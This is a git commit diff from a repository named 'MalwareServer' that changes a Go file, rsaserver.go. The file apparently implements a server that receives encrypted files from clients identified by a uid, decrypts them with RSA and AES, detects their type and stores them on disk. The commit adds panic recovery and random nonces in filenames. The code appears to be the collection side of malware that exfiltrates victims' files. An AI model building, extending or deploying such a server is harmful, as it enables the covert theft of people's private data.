Joren/MalwareServer
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This commit is contained in:
Joren Schipman 2024-05-02 12:31:57 +02:00
parent e80372d6c0
commit e21dee39c7
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
1 changed files with 28 additions and 12 deletions
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24
rsaserver.go
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@ -16,6 +16,7 @@ import (
"github.com/liamg/magic"
"os"
"time"
"math/rand"
)
var jpegExif = []byte{0xff, 0xd8, 0xff, 0xe1}
@ -53,6 +54,11 @@ func main() {
}
func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
defer func() {
if r := recover(); r != nil {
log.Printf("Recovered from panic: %v", r)
}
}()
defer conn.Close()
fmt.Println("Got conn")
@ -105,8 +111,6 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
}
func decrypt(cipherText []byte, key []byte, iv []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
@ -185,6 +189,7 @@ func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
func handleDecrypted(decryptedDataB []byte, uidB []byte) {
data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
// Determine file type
fileType, err := magic.Lookup(data)
if err != nil {
if err == magic.ErrUnknown {
@ -198,7 +203,7 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte) {
if fileType != nil {
fileTDef = fileType.Extension
} else {
if(string(data[:4]) == string(jpegExif)){
if string(data[:4]) == string(jpegExif) {
fileTDef = "jpeg"
} else {
fileTDef = "unknown"
@ -213,7 +218,9 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte) {
}
timestamp := time.Now().Unix()
filename := fmt.Sprintf("%d.%s", timestamp, fileTDef)
nonce := generateNonce(8)
filename := fmt.Sprintf("%d_%s.%s", timestamp, nonce, fileTDef)
filePath := fmt.Sprintf("%s/%s", folderPath, filename)
fmt.Println(filePath)
@ -225,6 +232,15 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte) {
fmt.Printf("Got a %s from %s, saving to %s\n", fileTDef, uid, filePath)
}
func generateNonce(length int) string {
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
var nonce strings.Builder
for i := 0; i < length; i++ {
nonce.WriteByte(charset[rand.Intn(len(charset))])
}
return nonce.String()
}
func createFolderIfNotExists(folderPath string) error {
_, err := os.Stat(folderPath)